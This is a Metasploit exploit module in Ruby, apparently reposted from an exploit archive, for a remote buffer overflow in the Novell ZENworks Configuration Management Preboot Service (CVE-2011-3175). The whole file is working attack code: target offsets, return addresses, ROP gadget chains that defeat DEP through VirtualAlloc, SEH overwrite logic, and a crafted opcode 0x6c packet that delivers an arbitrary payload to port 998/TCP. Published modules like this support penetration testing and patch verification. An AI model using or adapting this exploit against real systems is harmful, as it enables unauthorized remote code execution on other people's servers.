Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow',
            'Description'    => %q{
                    This module exploits a remote buffer overflow in the ZENworks Configuration
                Management. The vulnerability exists in the Preboot service and can be triggered by
                sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)
                to port 998/TCP. The module has been successfully tested on Novell ZENworks
                Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Luigi Auriemma', # Vulnerability Discovery
                    'juan' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-3175' ],
                    [ 'OSVDB', '80231' ],
                    [ 'BID', '52659' ],
                    [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ],
                    [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                    'Space'=> 990,
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
                },
            'Platform'       => ['win'],
            'Targets'        =>
                [
                    [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
                        {
                            'Offset'            => 1100,
                            'OffsetBottomStack' => 1148,
                            'OffsetRop'         => 4,
                            'Ret'               => 0x10024b8c # add esp, 1204 # ret from zenimgweb.dll
                        }
                    ],
                    [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
                        {
                            'Offset'            => 1100,
                            'OffsetBottomStack' => 1148,
                            'OffsetRop'         => 4,
                            'Ret'               => 0x10024a7c # add esp, 1204 # ret from zenimgweb.dll
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Feb 22 2012',
            'DefaultTarget'  => 0))
 
        register_options([Opt::RPORT(998)], self.class)
    end
 
    def junk(n=4)
        return rand_text_alpha(n).unpack("V").first
    end
 
    def nop
        return make_nops(4).unpack("L")[0].to_i
    end
 
    # rop chain generated with mona.py
    def create_rop_chain()
 
 
        if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
            rop_gadgets =
                [
                    0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
                    0x00001000, # 0x00001000-> edx
                    0x100239df, # POP ECX # RETN [zenimgweb.dll]
                    0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
                    0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
                    0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
                    0x10007b22, # & push esp #  ret  [zenimgweb.dll]
                    0x100235dc, # POP EBX # RETN [zenimgweb.dll]
                    0x00000001, # 0x00000001-> ebx
                    0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
                    0x00000040, # 0x00000040-> ecx
                    0x1004702b, # POP EDI # RETN [zenimgweb.dll]
                    0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
                    0x10011217, # POP EAX # RETN [zenimgweb.dll]
                    nop,
                    0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
                ].pack("V*")
        else # Novell ZENworks Configuration Management 10 SP2
            rop_gadgets =
                [
                    0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
                    0x00001000, # 0x00001000-> edx
                    0x10062113, # POP ECX # RETN [zenimgweb.dll]
                    0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
                    0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    junk,       # Filler (compensate)
                    0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
                    0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
                    0x10043053, # & push esp #  ret  [zenimgweb.dll]
                    0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
                    0x00000001, # 0x00000001-> ebx
                    0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
                    0x00000040, # 0x00000040-> ecx
                    0x1003173e, # POP EDI # RETN [zenimgweb.dll]
                    0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
                    0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
                    nop,
                    0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
                ].pack("V*")
        end
 
        return rop_gadgets
    end
 
 
    def exploit
        connect
 
        buf = rand_text(4)
        buf2 = rand_text(4)
        buf3 = rand_text(4)
        buf4 = rand_text(4)
 
        buf5 = rand_text(target['OffsetRop'])
        buf5 << create_rop_chain
        buf5 << payload.encoded
        buf5 << rand_text(target['Offset'] - buf5.length)
        buf5 << generate_seh_record(target.ret)
        buf5 << rand_text(target['OffsetBottomStack'] - buf4.length)
 
        my_buf = ""
        buf5.unpack("C*").each {|b|
            my_buf << [b].pack("C")
            my_buf << rand_text(1)
        }
 
        packet =  [0x6c].pack("N") # Opcode 0x6c
        packet << [buf.length].pack("N") # Length
        packet << buf # Value
        packet << [buf2.length].pack("N") # Length
        packet << buf2 # Value
        packet << [buf3.length].pack("N") # Length
        packet << buf3 # Value
        packet << [buf4.length].pack("N") # Length
        packet << buf4 # Value
        packet << [my_buf.length].pack("N") # Length
        packet << my_buf # Value
        sock.put(packet)
 
        disconnect
    end
end



#  0day.today [2018-01-02]  #